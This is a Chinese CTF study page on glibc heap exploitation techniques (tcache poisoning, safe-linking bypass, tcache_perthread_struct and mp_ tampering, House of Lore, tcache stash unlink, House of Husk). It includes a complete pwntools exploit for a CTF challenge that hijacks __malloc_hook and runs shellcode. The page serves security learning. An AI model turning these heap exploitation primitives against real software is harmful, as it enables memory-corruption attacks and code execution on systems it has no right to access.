Tcachebin#

绕过指针保护#

1
Chunk b 的 fd 指针存放在地址 0x555555559330
2
将其右移 12 位（也就是去掉最后三个十六进制位），得到 0x555555559
3
内存中存储的加密值为 0x55500000c7f9
4
0x55500000c7f9 ^ 0x0000000555555559 = 0x5555555592a0 即chunk a的数据区
5

6
Chunk a 的 fd 指针存放在地址 0x5555555592a0 右移 12 位得到 0x555555559
7
内存中的加密值为 0x0000000555555559
8
0x0000000555555559 ^ 0x0000000555555559 = 0x0000000000000000
9
解密结果为 0，说明 Chunk a 是这个 Tcache 链表上的最后一个块。
10

11
def protect_ptr(pos, ptr):
12
    """
13
    加密指针：用于在利用漏洞覆盖 fd 时，计算出需要写入的加密值
14
    :param pos: 存放该 fd 指针的内存地址 (即 堆块起始地址 + 0x10)
15
    :param ptr: 你真正想要 tcache 指向的目标地址 (如栈地址、__free_hook 等)
16
    :return: 应该写入内存的加密后数据
17
    """
18
    return (pos >> 12) ^ ptr
19

20
def reveal_ptr(pos, val):
21
    """
22
    解密指针：用于在泄露了堆内存后，还原出真实的下一跳地址
23
    :param pos: 存放该 fd 指针的内存地址
24
    :param val: 从内存中泄露/读取出的加密值
25
    :return: 真实的堆块物理地址
26
    """
27
    return (pos >> 12) ^ val

劫持 tcache_ptheread_struct#

tcache 引入了两个新的结构体，tcache_entry和 tcache_perthread_struct

1
TCACHE_MAX_BINS:
2
# define TCACHE_MAX_BINS        64
3

4

5
typedef struct tcache_entry
6
{
7
  struct tcache_entry *next;
8
} tcache_entry;
9

10
typedef struct tcache_perthread_struct
11
{
12
  char counts[TCACHE_MAX_BINS];//0x40
13
  tcache_entry *entries[TCACHE_MAX_BINS];//0x40
14
} tcache_perthread_struct;

我们在引入了tcache的glibc版本中，申请第一块chunk时查看heap状态会发现多申请了一块大小0x250的chunk（glibc2.32+为0x290，因为counts的类型从char变成了uint16_t）。这个chunk就是 tcache_perthread_struct counts数组存储的是各个size的tcache bin中的chunk数量，而entries指针数组则存放着各个size的tcache bin中的第一个chunk的mem地址(fd地址而非堆头地址)

我们来看一下tcache_free函数

1
#if USE_TCACHE
2
  {
3
    size_t tc_idx = csize2tidx (size);
4
    if (tcache
5
        && tc_idx < mp_.tcache_bins                    //mp_.tcache_bins储存的是tcache的最大大小，修改的话可以使largebin 进入tcache
6
        && tcache->counts[tc_idx] < mp_.tcache_count)//<7      //mp_.tcache_count是记录tcache中的chunk数量
7
      {
8
        tcache_put (p, tc_idx);
9
        return;
10
      }
11
  }
12
#endif

当对应大小的tcachebin中的chunk数量小于7时，会优先放入tcachebin，然而这里检查的是tcache->counts数组中的元素，也就是根据tcache_perthread_struct中的数据来判断，但却没有检查double free

看在使用tcache时的malloc

1
#if USE_TCACHE
2
  /* int_free also calls request2size, be careful to not pad twice.  */
3
  size_t tbytes;
4
  checked_request2size (bytes, tbytes);
5
  size_t tc_idx = csize2tidx (tbytes);
6
  MAYBE_INIT_TCACHE ();
7
  DIAG_PUSH_NEEDS_COMMENT;
8
  if (tc_idx < mp_.tcache_bins
9
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
10
      && tcache
11
      && tcache->entries[tc_idx] != NULL)
12
    {
13
      return tcache_get (tc_idx);
14
    }
15
  DIAG_POP_NEEDS_COMMENT;
16
#endif

这里是根据tcache->entries数组的元素来索引tcachebins中的第一个chunk，同样也是根据tcache_perthread_struct中的数据来判断。所以说，如果我们能够修改tcache_perthread_struct中的数据，也就能控制整个tcachebins。我们可以修改counts数组的数量，以将chunk放到我们想放置的其他bins中（比如放入unsortedbin来泄露malloc_hook，libc），也可以修改entries数组的数据来malloc任意地址。

例题：SWPUCTF_2019_p1KkHeap

1
#!/usr/bin/env python3
2

3
'''
4
    author: GeekCmore
5
    time: 2026-03-24 10:16:56
6
'''
7
from pwncli import *
8

9
filename = "SWPUCTF_2019_p1KkHeap_patched"
10
libcname = "/home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/libc6_2.27-3ubuntu1.2_amd64/lib/x86_64-linux-gnu/libc.so.6"
11
host = "127.0.0.1"
12
port = 1337
13
container_id = ""
14
proc_name = ""
15
elf = context.binary = ELF(filename)
16
if libcname:
17
    libc = ELF(libcname)
18
gs = '''
19
b main
20
set debug-file-directory /home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/libc6-dbg_2.27-3ubuntu1.2_amd64/usr/lib/debug
21
set directories /home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/glibc-source_2.27-3ubuntu1.2_all/usr/src/glibc/glibc-2.27
22
'''
23

24
def start():
25
    if args.GDB:
26
        return gdb.debug(elf.path, gdbscript = gs)
27
    elif args.REMOTE:
28
        return remote(host, port)
29
    elif args.DOCKER:
30
        import docker
31
        from os import path
32
        p = remote(host, port)
33
        client = docker.from_env()
34
        container = client.containers.get(container_id=container_id)
35
        processes_info = container.top()
36
        titles = processes_info['Titles']
37
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
38
        target_proc = []
39
        for proc in processes:
40
            cmd = proc.get('CMD', '')
41
            exe_path = cmd.split()[0] if cmd else ''
42
            exe_name = path.basename(exe_path)
43
            if exe_name == proc_name:
44
                target_proc.append(proc)
45
        idx = 0
46
        if len(target_proc) > 1:
47
            for i, v in enumerate(target_proc):
48
                print(f"{i} => {v}")
49
            idx = int(input(f"Which one:"))
50
        import tempfile
51
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
52
            tmp.write(f'shell rm {tmp.name}\n{gs}')
53
        print(tmp.name)
54
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
55
        return p
56
    else:
57
        return process(elf.path)
58

59
def add(size):
60
    """
61
    1. Add Note
62
    size 最大不超过 0x100
63
    """
64
    io.recvuntil(b"Your Choice: ")
65
    io.sendline(b"1")
66
    io.recvuntil(b"size: ")
67
    io.sendline(str(size).encode())
68

69
def show(idx):
70
    """
71
    2. Show Note
72
    用于泄露地址 (Heap/Libc)
73
    """
74
    io.recvuntil(b"Your Choice: ")
75
    io.sendline(b"2")
76
    io.recvuntil(b"id: ")
77
    io.sendline(str(idx).encode())
78

79
def edit(idx, content):
80
    """
81
    3. Edit Note
82
    用于 UAF 写入，劫持 fd 指针
83
    """
84
    io.recvuntil(b"Your Choice: ")
85
    io.sendline(b"3")
86
    io.recvuntil(b"id: ")
87
    io.sendline(str(idx).encode())
88
    io.recvuntil(b"content: ")
89
    io.send(content)
90

91
def delete(idx):
92
    """
93
    4. Delete Note
94
    释放堆块（存在 UAF 漏洞）
95
    """
96
    io.recvuntil(b"Your Choice: ")
97
    io.sendline(b"4")
98
    io.recvuntil(b"id: ")
99
    io.sendline(str(idx).encode())
100

101
# 隐藏彩蛋 (非关键功能)
102
def easter_egg():
103
    io.recvuntil(b"Your Choice: ")
104
    io.sendline(b"666")
105

106
io = start()
107

108
# add(0x20)
109
# add(0x20)
110
# delete(0)
111
# delete(1)
112
# show(1)
113

114
# io.recvuntil(b"content: ")
115
# heap = u64(io.recv(6).ljust(8, b"\x00"))
116
# log.info(f"heap: {hex(heap)}")
117

118
add(0xf0)#0
119
delete(0)
120
delete(0)
121
show(0)
122

123
io.recvuntil(b"content: ")
124
heap = u64(io.recv(6).ljust(8, b"\x00")) - 0x260 + 0x10
125
log.info(f"heap: {hex(heap)}")
126

127
add(0xf0)#1
128
edit(1,p64(heap))
129
add(0xf0)#2
130
add(0xf0)#3
131
payload = flat([0x0707070707070707]) * 8 + flat([0,0,0,0,0,0,0x66660100])
132
edit(3,payload)
133
delete(3)
134
show(3)
135

136
io.recvuntil(b"content: ")
137
libc.address = u64(io.recv(6).ljust(8, b"\x00")) + 0x793cf280f000 - 0x793cf2bfaca0
138
log.info(f"libc: {hex(libc.address)}")
139

140
payload = flat([0x0101010101010101]) * 8 + flat([0,0,0,0,0,0,0x66660100,0,libc.sym['__malloc_hook']])
141
add(0xf0)
142
edit(4,payload)
143
add(0x70)#5
144
shellcode = asm(shellcraft.open('/flag')+shellcraft.read(3,heap+0x500,0x100)+shellcraft.write(1,heap+0x500,0x100))
145
edit(5,shellcode)
146

147
add(0x90)#6
148

149
# # show(7)
150
edit(6,p64(0x66660100))
151
gdb.attach(io)
152
add(0x80)
153

154

155

156
io.interactive()

讲解一下做题思路：

在libc 2.29之前，tcache的free是缺少对double free 的检查的，因此我们通过double free来修改 tcache fd来进行tcache poisoning来malloc到tcache_ptheread_struct，通过修改counts[TCACHE_MAX_BINS]来让tcache进入unsorted bin,通过修改tcache_entry来进行任意地址写

通过修改__malloc_hook来控制执行流到shellcode

修改线程 tcache 变量#

在 tls 区域，有一个线程变量 tcache，如果能用 largebin attack 修改 tcache 变量，也可以控制 tcache 的分配。

1
pwndbg> tls
2
tls : 0x7aaf512ca540
3

4
pwndbg> x/20gx 0x7aaf512ca540-0x50
5
0x7aaf512ca4f0: 0x0000602dc4c94010      0x0000000000000000    -->tcache_perthread_struct的指针
6
0x7aaf512ca500: 0x00007aaf50ffac40      0x0000000000000000
7
0x7aaf512ca510: 0x0000000000000000      0x0000000000000000
8
0x7aaf512ca520: 0x0000000000000000      0x0000000000000000
9
0x7aaf512ca530: 0x0000000000000000      0x0000000000000000
10
0x7aaf512ca540: 0x00007aaf512ca540      0x00007aaf512cae90
11
0x7aaf512ca550: 0x00007aaf512ca540      0x0000000000000000
12
0x7aaf512ca560: 0x0000000000000000      0x729d5c3ccc58ee00
13
0x7aaf512ca570: 0x6e9a2eb5632d2694      0x0000000000000000
14
0x7aaf512ca580: 0x0000000000000000      0x0000000000000000

因此，我们可以通过largebin attack进行对于这个指针的修改，将tcache_perthread_struct修改为我们可以控制的堆地址

修改 mp_结构体#

关注与 tcache 有关的几个变量：

1
struct malloc_par
2
{
3
  //......
4
#if USE_TCACHE
5
  /* Maximum number of buckets to use.  */
6
  size_t tcache_bins;
7
  size_t tcache_max_bytes;
8
  /* Maximum number of chunks in each bucket.  */
9
  size_t tcache_count;
10
  /* Maximum number of chunks to remove from the unsorted list, which
11
     aren't used to prefill the cache.  */
12
  size_t tcache_unsorted_limit;
13
#endif
14
};

修改掉 tcache_bins 可以把很大的 chunk 用 tcachebin 管理；修改掉 tcache_count 可以控制链表的 chunk 的数量。tcache_max_bytes 目前没啥用，tcache_unsorted_limit 可以影响 unsortedbin 链表的遍历过程。

mp结构体的地址可以通过gdb调试得到

tcache_bins#

修改tcache_bins可以扩大tcache chunk的大小限制

可以在限制largebin的题目下进行tcache poisoning

相关例题有suctf2025 su_text SUCTF 2025 Writeup by 0xFFF ::
当mp_.tcache_bins足够大的时候，我们是可以将一个大chunk放进tcache bin中的，只是由于tcache分配在堆上，这个索引值又太大，所以这个大chunk的地址（链表头）会被放进相邻的chunk中

说简单点，tcache_bin足够大时，我们分配的大chunk进入bin时他的地址会存到相邻chunk里面 ,如果相邻的这个chunk我们可控的话，把这个地址覆盖成free_hook等,再写入我们需要的内容，比如one_gadget，system等就能getshell

tcache_unsorted_limit#

利用整理unsorted bin的机制实现在限制malloc的情况下的多次largebin attack,本身无利用方式

fastbin#

house of corrosion#

使用的范围只能在 2.35~2.37，进入到 2.37 之后，global_max_fast 的类型被修改为 int8_t，使用该技巧可以控制的地址范围大大缩小。

暂时先放一放

Tcache Reverse Into Fastbin#

目的#

1.让任意地址进入tcache中，再取出tcache进行任意地址写。

2.对任意一个地址，写入一个可控的堆上地址。

条件#

1.能反复创建释放14个以上的fastbin。

2.能修改其中一个fastbin的fd

3.用tcache机制

参考地址：how2heap-fastbin_reverse_into_tcache-学习 | lexsd6’s home

目前检查了对齐，所以要注意控制的地址要是 0x?0 结尾，否则报错。利用效果是任意地址写一个 libc 地址。

虽然 0x?0 写的是加密后的堆地址，但是 0x?8 会写上 tcache_key，这也是可以利用的点。而且，在写上地址后，还能分配到该处。其利用过程如下：

分配 13 个 fastbin 范围内的 chunk，假设大小为 A
全部释放这 13 个 chunk
分配 7 个，把 tcachebin[A] 耗尽
把 fastbin 最后一个 chunk 的 fd 修改为 addr
调用一次 malloc(A) 即可触发 tcache reverse into fastbin，可以分配到 addr，也能给 addr/addr+8 处写上地址 / 数

题目：tcache七星剑法：轮回——Fastbin reverse into tcache - Jmp·Cliff - 博客园

Smallbin#

House of Lore#

在栈上分配chunk

1
--heap
2
vivtim chunk(small chunk)
3
bk    -->    fake chunk1
4

5

6
stack
7

8
fake_chunk2
9
fd    -->fake_chunk  1
10
bk    -->未定义即可
11

12
fake_chunk1
13
fd    -->victim chunk
14
bk    -->fake_chunk2

house of lore 使用的时候，一方面是需要满足 victim->fd->bk == victim；另一方面，需要绕过下面讲的 tcache stash unlink 流程。除此之外，还需要注意内存对齐的问题。

Tcache Stash Unlink Attack#

第一个技巧叫 tcachebin stash unlinking，下面称之为 TSU 技巧：

tcachebin[A] 为空
smallbin[A] 有 8 个
修改第 8 个 smallbin chunk 的 bk 为 addr
分配 malloc(A) 的时候，addr+0x10 会被写一个 libc 地址

第二个技巧叫 tcachebin stash unlinking+，下面称之为 TSU+ 技巧：

tcachebin[A] 为空
smallbin[A] 有 8 个
修改第 7 个 smallbin chunk 的 bk 为 addr，还要保证 addr+0x18 是一个合法可写的地址
分配 malloc(A) 的时候，addr 会被链入到 tcachebin，也就是可以分配到 addr 处

可以看到，和 fastbin reverse into tcache 的攻击方法很类似，但是得到的效果不一样。TSU 可以在任意地址写 libc 地址，而 TSU+ 除了可以写 libc 地址，还能再任意地址分配。

要注意的是，只要tcache还有空闲位置并且smallbin chunk数量比tcache 空闲位置多一个即可，当然还可以通过伪造fake_smallbin_chunk来增加smallbin chunk数量

Largebin#

Largebin attack#

无需多言，注意高版本的特殊条件

House of Husk#

house of husk 方法仍然可以利用，需要找到一个格式化字符串的场景，且打 house of husk 的时候，至少需要两次格式化字符串。

学习链接：

house-of-husk学习笔记

House of Husk - CTFするぞ

Libc/Ld 上的变量#

libc/ld 的地址空间上关键变量非常多，比如_IO_list_all，pointer_guard、tcache 等等。

发现新文章

Tcachebin#

绕过指针保护#

劫持 tcache_ptheread_struct#

修改线程 tcache 变量#

修改 mp_结构体#

tcache_bins#

tcache_unsorted_limit#

fastbin#

house of corrosion#

Tcache Reverse Into Fastbin#

目的#

条件#

Smallbin#

House of Lore#

Tcache Stash Unlink Attack#

Largebin#

Largebin attack#

House of Husk#

Libc/Ld 上的变量#